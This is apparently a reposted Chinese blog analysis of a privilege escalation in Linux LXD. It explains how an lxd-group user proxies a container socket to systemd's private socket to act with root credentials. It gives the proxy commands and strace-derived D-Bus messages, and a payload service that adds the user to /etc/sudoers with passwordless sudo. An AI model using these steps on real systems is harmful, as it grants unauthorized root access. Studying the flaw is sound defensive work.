Linux lxd提权漏洞分析利用

栏目: 编程工具 · 发布时间: 5年前

内容简介:作者这篇博客核心在于利用的方式,比较新颖,不逐句翻译,保证将核心的点介绍清楚,并复现整个利用过程。lxc(Linux container),Linux自带的容器;

Linux lxd提权漏洞分析利用

作者这篇博客核心在于利用的方式,比较新颖,不逐句翻译,保证将核心的点介绍清楚,并复现整个利用过程。

lxc(Linux container),Linux自带的容器;

lxd,简单地说,LXD 就是一个提供了 REST API 的 LXC 容器管理器

其中Ubuntu 19.04 server自带lxd,来扩展lxc的命令;

具体关于lxc和lxd可以参考【1】【2】

概述:

LXD是 Linux 系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

例如:一个低权限的用户能够创建一个用于host和container通信的socket,当将host中已经创建的一个socket和container绑定后,它们之间的连接通信会以LXD服务的凭证(root权限)而不是调用用户的凭证;所以当container中发送socket和host通信时,此时host端的socket则是root权限。所以关键就是怎么在一个得到一个root socket时实现提权,这也是这篇博客注重点。

环境搭建&PoC验证:

因为ubuntu 19.04 server是默认安装了lxd的,所以采用这个环境,基于VMWare搭建。(其中Mac上多个ubuntu Server terminal的切换是,control+command+f1/f2/f3…)。前提就是必须有一个处于lxd用户组的用户,使用exp lxd_rootv2.py 将其提升到root权限。

所以环境搭建,首先创建一个处于lxd用户组的低权限用户。按照博客上面的流程,我这里为了方便,创建了一个llxd的用户,在lxd用户组,

Linux lxd提权漏洞分析利用

权限很低,是无法sudo的。

Linux lxd提权漏洞分析利用 Linux lxd提权漏洞分析利用

此时基本环境是ok的,只要能够拿到这么一个llxd用户,就能够提权。

在该用户下创建一个container,是不需要额外的权限的。创建ubuntu18.04容器,名称是fal。

lxc launch ubuntu:18.04 fal

创建成功:

Linux lxd提权漏洞分析利用

PoC验证:

首先尝试在正常环境下,即llxd用户下开启一个socket监听,然后去nc连接,查看此时socket的权限。

socket的监听代码如下:

##!/usr/bin/env python3 """ Echo peercreds in connections to a UNIX domain socket """ import socket import struct def main(): """Echo UNIX peercreds""" listen_sock = '/tmp/echo.sock' sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(listen_sock) sock.listen() while True: print('waiting for a connection') connection = sock.accept()[0] peercred = connection.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED, struct.calcsize("3i")) pid, uid, gid = struct.unpack("3i", peercred) print("PID: {}, UID: {}, GID: {}".format(pid, uid, gid)) continue if __name__ == '__main__': main()

自己在server上省略敲了一遍,测试结果如下,正常的用户权限。

Linux lxd提权漏洞分析利用

Linux lxd提权漏洞分析利用

此时尝试从container中去nc来和host通信,这里不是单纯的监听和发送,需要经过lxd server。首先配置通信网络:

lxc config device add fal proxy_sock
proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock
bind=container mode=0777

通过lxd来增加一个代理socket(proxy_sock)来帮助container和host之间的通信,上面的命令大致意思是:给叫fal的容器增加一个proxy_sock,绑定在container上,container上是/tmp/proxy.sock在监听,然后收到数据后连接到host上的/tmp/echo.sock,其实就是相当于一个代理的作用。

所以我们在容器里往/tmp/proxy.sock发送,那么host上监听/tmp/echo.sock就能拿到数据。

然后,创建一个容器用户,登录进去,就能在容器中.

lxc exec falcor -- sudo --user ubuntu --login

Linux lxd提权漏洞分析利用

Linux lxd提权漏洞分析利用

上面的结果说明了从container中发出的通信,是能够拿到root socket的。

利用:

作者首先查看在host上面都有哪些socket在监听着,然后发现了一个看起来比较有意思的socket,/run/systemd/private

lowpriv@server:~$ ss -xlp
-- snip --
Local Address:Port
/run/systemd/private

然后通过查看文档寻找该socket的功能:

Used internally as communication channel between systemctl(1) and the systemd process. This is an AF_UNIX stream socket. This interface is private to systemd and should not be used in external projects.

简单来看就是systemctl和systemd进行交互用的socket,我们知道systemctl的功能很强大,能够启动服务、终止服务等等;而执行systemctl命令核心就是在使用socket和systemd进行通信,那么只需要知道发送的socket包是什么,那么就能够直接发送socket包来执行systemctl命令了。

作者使用strace来得到systemctl执行时候的输出,以判断究竟发送了哪些socket包。以执行restart ssh为例。

Linux lxd提权漏洞分析利用

ubuntu@server:~$ sudo strace -ff -s 20000 systemctl restart ssh 2> strace-out

得到的输出信息有(过滤出sendmsg信息):

sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="AUTH EXTERNAL ", iov_len=15},
{iov_base="30", iov_len=2}, {iov_base="rnNEGOTIATE_UNIX_FDrnBEGINrn", iov_len=28}],
msg_iovlen=3, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45-- snip --
sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="l14134124011o
031/org/freedesktop/systemd131svRestartUnit21s org
.free desktop.systemd1.Manager61s30org.freedesktop.systemd1
0101g2ss", iov_len=176}, {iov_base="vssh.service7replace", iov_len=28}], ms
g_iovlen=2, ms g_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 204

因此作者的利用流程是:那么执行systemctl restart ssh命令就和发送的socket包对应起来了。那么我们在拿到了root socket后,理论上是能够执行任意的systemctl命令的,所以作者的利用就是构建一个evil service,然后利用systemctl启动它,所以任意代码执行。

1. 构建一个evil service, /tmp/evil.service,里面放置shellcode

2. 使用lxd添加一个代理socket,将container socket和/run/systemd/private socket对应映射起来

3. 使用lxd添加一个代理socket,将container socket和host socket对应映射起来

4. 通过构建合理的socket包,来启动evil service,作者这里是执行:

  • systemctl link /tmp/evil.service
  • systemctl daemon-reload
  • systemctl start evil.service
  • systemctl disable evil.service

最后对应exp,systemctl命令和对应的socket 包。

Linux lxd提权漏洞分析利用

shellcode:

user_name = getpass.getuser()
svc_content = ('[Unit]n'
'Description=evil servicen'
'[Service]n''Type=oneshotn'
'ExecStart=/bin/sh -c "echo {} ALL=(ALL) NOPASSWD: ALL''>> /etc/sudoers"n'
'[Install]n'
'WantedBy=multi-user.targetn'.format(user_name))

最后看看数据的传输过程:就是给当前用户一个使用sudo的权限,且不需要密码。

socket代理,传输流程,因为是container到host的socket传输得到root socket,而目前是在host里面执行代码;所以发送的socket数据由host传到container,然后再由container传到systemd socket以root执行systemctl命令。

下图中第一个是由container 传到systemd socket;第二个是由host传到container socket。

Linux lxd提权漏洞分析利用 Linux lxd提权漏洞分析利用 运行利用代码:

Linux lxd提权漏洞分析利用

Linux lxd提权漏洞分析利用

最后:

LXD Team认为使用lxd用户组就默认是可以拿到root权限的,所以只是更新了文档来提醒使用者,并没有代码层面的更新,所以最新的ubuntu19.04 server下还是能够复现的。

参考:

1. lxc参考: https://www.jianshu.com/p/63fea471bc43

2. lxd参考: https://www.cnblogs.com/linuxprobe/p/5814290.html


以上所述就是小编给大家介绍的《Linux lxd提权漏洞分析利用》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

媒介融合

媒介融合

[丹]延森 / 刘君 / 复旦大学出版社 / 2012-9 / 32.00元

“媒介融合”是什么,如何来认识,本书提供的视角令人赞叹。 作为丹麦知名教授,延森具有欧陆学者的气质:思辨、批判。在延森看来,媒介融合带来了研究上的转向——从作为技术的媒介转向作为实践的传播,后者的一个中心命题是 特定的媒介与传播实践将对社会组织(从微观到宏观)产生何种影响? 解决上述问题,首先需要解决交流与传播观念的理论规范问题,本书就是阶段性的成果:基于对交流/传播观念史的考察,建构......一起来看看 《媒介融合》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

随机密码生成器
随机密码生成器

多种字符组合密码